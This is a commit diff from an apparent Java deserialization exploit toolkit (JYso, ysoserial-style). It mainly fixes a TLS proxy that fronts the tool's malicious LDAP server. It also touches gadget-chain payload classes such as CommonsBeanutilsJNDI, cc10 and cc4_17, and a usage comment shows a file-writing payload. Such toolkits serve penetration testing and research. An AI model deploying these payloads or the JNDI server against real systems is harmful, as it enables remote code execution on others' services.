fix: TPSProxy 完善，可以使用

src/main/java/com/qi4l/JYso/LdapServer.java

@@ -59,6 +59,7 @@ public class LdapServer extends InMemoryOperationInterceptor {
                     ServerSocketFactory.getDefault(),
                     SocketFactory.getDefault(),
                     (SSLSocketFactory) SSLSocketFactory.getDefault()));
+
             if (!USER.equals("") || !PASSWD.equals("")) {
                 serverConfig.addAdditionalBindCredentials(USER, PASSWD);
             }

src/main/java/com/qi4l/JYso/TLSProxy.java

@@ -1,37 +1,33 @@
 package com.qi4l.JYso;
 
 import com.qi4l.JYso.gadgets.Config.Config;
-
 import javax.net.ssl.*;
-import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.net.InetSocketAddress;
 import java.net.Socket;
+import java.nio.file.Files;
+import java.nio.file.Paths;
 import java.security.KeyStore;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
-
 import static org.fusesource.jansi.Ansi.ansi;
 
 public class TLSProxy {
     private final String localAddr;
     private final String remoteAddr;
     private final String certFile;
-    private final String keyFile;
 
-    public TLSProxy(String localAddr, String remoteAddr, String certFile, String keyFile) {
+    public TLSProxy(String localAddr, String remoteAddr, String certFile) {
         this.localAddr = localAddr;
         this.remoteAddr = remoteAddr;
         this.certFile = certFile;
-        this.keyFile = keyFile;
     }
 
     public static void start() {
         System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "..."));
-
+        new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile).run();
-        new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run();
     }
 
     public void run() {
@@ -44,13 +40,10 @@ public class TLSProxy {
         try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) {
             String[] addressParts = localAddr.split(":");
             serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1])));
-            //System.out.println("TLS Proxy started on " + localAddr);
 
             ExecutorService executorService = Executors.newCachedThreadPool();
-
             while (true) {
                 SSLSocket clientSocket = (SSLSocket) serverSocket.accept();
-                //System.out.println("New connection from " + clientSocket.getRemoteSocketAddress());
                 executorService.submit(() -> handleConnection(clientSocket));
             }
         } catch (IOException e) {
@@ -64,12 +57,11 @@ public class TLSProxy {
             KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
             KeyStore keyStore = KeyStore.getInstance("JKS");
 
-            try (InputStream keyInput = new FileInputStream(certFile)) {
+            try (InputStream keyInput = Files.newInputStream(Paths.get(certFile))) {
                 keyStore.load(keyInput, Config.keyPass.toCharArray());
             }
 
             keyManagerFactory.init(keyStore, Config.keyPass.toCharArray());
-
             sslContext.init(keyManagerFactory.getKeyManagers(), null, null);
             return sslContext.getServerSocketFactory();
         } catch (Exception e) {
@@ -79,40 +71,105 @@ public class TLSProxy {
     }
 
     private void handleConnection(SSLSocket clientSocket) {
-        String[] addressParts = localAddr.split(":");
+        String[] remoteAddressParts = remoteAddr.split(":");
-        try (Socket remoteSocket = new Socket(addressParts[0], Integer.parseInt(addressParts[1]))) {
+        Socket remoteSocket = null;
-            System.out.println("Connected to " + remoteAddr);
+
+        try {
+            // 修复：使用 remoteAddr 而不是 localAddr
+            remoteSocket = new Socket(remoteAddressParts[0], Integer.parseInt(remoteAddressParts[1]));
+
             ExecutorService executorService = Executors.newCachedThreadPool();
 
-            //executorService.submit(() -> {
+            // 使用标志跟踪连接状态
-            //    try {
+            final boolean[] connectionClosed = {false};
-            //        forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream());
+
-            //    } catch (IOException e) {
+            Socket finalRemoteSocket1 = remoteSocket;
-            //        throw new RuntimeException(e);
+            executorService.submit(() -> {
-            //    }
+                try {
-            //});
+                    forwardData(clientSocket.getInputStream(), finalRemoteSocket1.getOutputStream());
-            //executorService.submit(() -> {
-            //    try {
-            //        forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream());
-            //    } catch (IOException e) {
-            //        throw new RuntimeException(e);
-            //    }
-            //});
                 } catch (IOException e) {
-            e.printStackTrace();
+                    // 正常关闭连接时可能会抛出异常，不打印堆栈跟踪
+                    if (!connectionClosed[0]) {
+                        System.err.println("Client to remote error: " + e.getMessage());
+                    }
+                } finally {
+                    closeConnection(clientSocket, finalRemoteSocket1, connectionClosed);
+                }
+            });
+
+            Socket finalRemoteSocket = remoteSocket;
+            executorService.submit(() -> {
+                try {
+                    forwardData(finalRemoteSocket.getInputStream(), clientSocket.getOutputStream());
+                } catch (IOException e) {
+                    // 正常关闭连接时可能会抛出异常，不打印堆栈跟踪
+                    if (!connectionClosed[0]) {
+                        System.err.println("Remote to client error: " + e.getMessage());
+                    }
+                } finally {
+                    closeConnection(clientSocket, finalRemoteSocket, connectionClosed);
+                }
+            });
+
+        } catch (IOException e) {
+            System.err.println("Connection error: " + e.getMessage());
+            if (remoteSocket != null) {
+                try {
+                    remoteSocket.close();
+                } catch (IOException ex) {
+                    // 忽略关闭异常
+                }
+            }
+            try {
+                clientSocket.close();
+            } catch (IOException ex) {
+                // 忽略关闭异常
+            }
         }
     }
 
-    private void forwardData(InputStream input, OutputStream output) {
+    private void forwardData(InputStream input, OutputStream output) throws IOException {
-        try {
         byte[] buffer = new byte[8192];
         int bytesRead;
+
+        try {
             while ((bytesRead = input.read(buffer)) != -1) {
                 output.write(buffer, 0, bytesRead);
                 output.flush();
             }
+        } finally {
+            // 当读取结束时，关闭输出流
+            try {
+                output.close();
             } catch (IOException e) {
-            e.printStackTrace();
+                // 忽略关闭异常
+            }
+        }
+    }
+
+    private void closeConnection(SSLSocket clientSocket, Socket remoteSocket, boolean[] connectionClosed) {
+        // 使用标志确保连接只关闭一次
+        if (connectionClosed[0]) {
+            return;
+        }
+        connectionClosed[0] = true;
+
+        // 关闭远程连接
+        if (remoteSocket != null && !remoteSocket.isClosed()) {
+            try {
+                remoteSocket.close();
+            } catch (IOException e) {
+                // 忽略关闭异常
+            }
+        }
+
+        // 关闭客户端连接
+        if (clientSocket != null && !clientSocket.isClosed()) {
+            try {
+                clientSocket.close();
+            } catch (IOException e) {
+                // 忽略关闭异常
+            }
         }
     }
 }

src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java

@@ -34,7 +34,7 @@ import java.util.Map;
  * java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
  * <p>
  * More information:
- * https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
+ * <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a>
  */
 
 @SuppressWarnings({"rawtypes", "unchecked"})
@@ -60,7 +60,7 @@ public class AspectJWeaver implements ObjectPayload<Serializable> {
         TiedMapEntry   entry       = new TiedMapEntry(lazyMap, filename);
         HashSet        map         = new HashSet(1);
         map.add("QI4L");
-        Field f = null;
+        Field f;
         try {
             f = HashSet.class.getDeclaredField("map");
         } catch (NoSuchFieldException e) {

src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java

@@ -1,5 +1,6 @@
 package com.qi4l.JYso.gadgets;
 
+import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 import com.sun.rowset.JdbcRowSetImpl;
@@ -9,6 +10,7 @@ import java.math.BigInteger;
 import java.util.PriorityQueue;
 
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
+@Authors({Authors.QI4L})
 public class CommonsBeanutilsJNDI implements ObjectPayload<Object> {
 
     @Override

src/main/java/com/qi4l/JYso/gadgets/Config/Config.java

@@ -45,11 +45,9 @@ public class Config {
     @Parameter(names = {"-t", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5)
     public static boolean TLSProxy = false;
     @Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5)
-    public static String  TLSPort  = "";
+    public static String  TLSPort  = "1636";
     @Parameter(names = {"-kS", " --keyPass"}, help = true, description = "TLS private key", order = 5)
     public static String  keyPass  = "";
-    @Parameter(names = {"-kF", " --keyFile"}, help = true, description = "Path to the TLS private key file", order = 5)
-    public static String  keyFile  = "";
     @Parameter(names = {"-cF", " --certFile"}, help = true, description = "Path to the TLS certificate file", order = 5)
     public static String  certFile = "";
 

src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java

@@ -53,6 +53,7 @@ public @interface Authors {
     String KILLER = "killer";
 
     String Unam4   = "Unam4";
+    String Jiecub3 = "jiecub3";
 
     String[] value() default {};
 

src/main/java/com/qi4l/JYso/gadgets/cb160.java

@@ -13,6 +13,7 @@ import java.util.PriorityQueue;
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
 
+@SuppressWarnings("rawtypes")
 @Dependencies({"commons-beanutils:commons-beanutils:1.6.0"})
 public class cb160 implements ObjectPayload<Object> {
 
@@ -25,7 +26,7 @@ public class cb160 implements ObjectPayload<Object> {
         insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;");
 
 
-        Class                       beanCompareClazz = ctClass.toClass();
+        Class<?> beanCompareClazz = ctClass.toClass();
         BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
         final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
         queue.add("1");

src/main/java/com/qi4l/JYso/gadgets/cc10.java

@@ -25,10 +25,6 @@ public class cc10 implements ObjectPayload<Object> {
 
         templates = Gadgets.createTemplatesImpl(command);
 
-        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
-        patchModule(cc4_17.class,aClass);
-
-
         // 使用 InstantiateFactory 代替 InstantiateTransformer
         InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
         FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) instantiateFactory);

src/main/java/com/qi4l/JYso/gadgets/cc4_17.java

@@ -1,5 +1,6 @@
 package com.qi4l.JYso.gadgets;
 
+import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 import org.apache.commons.collections4.Transformer;
 import org.apache.commons.collections4.comparators.TransformingComparator;
@@ -11,6 +12,9 @@ import java.util.PriorityQueue;
 
 import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
 
+
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Authors({Authors.Jiecub3})
 public class cc4_17 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {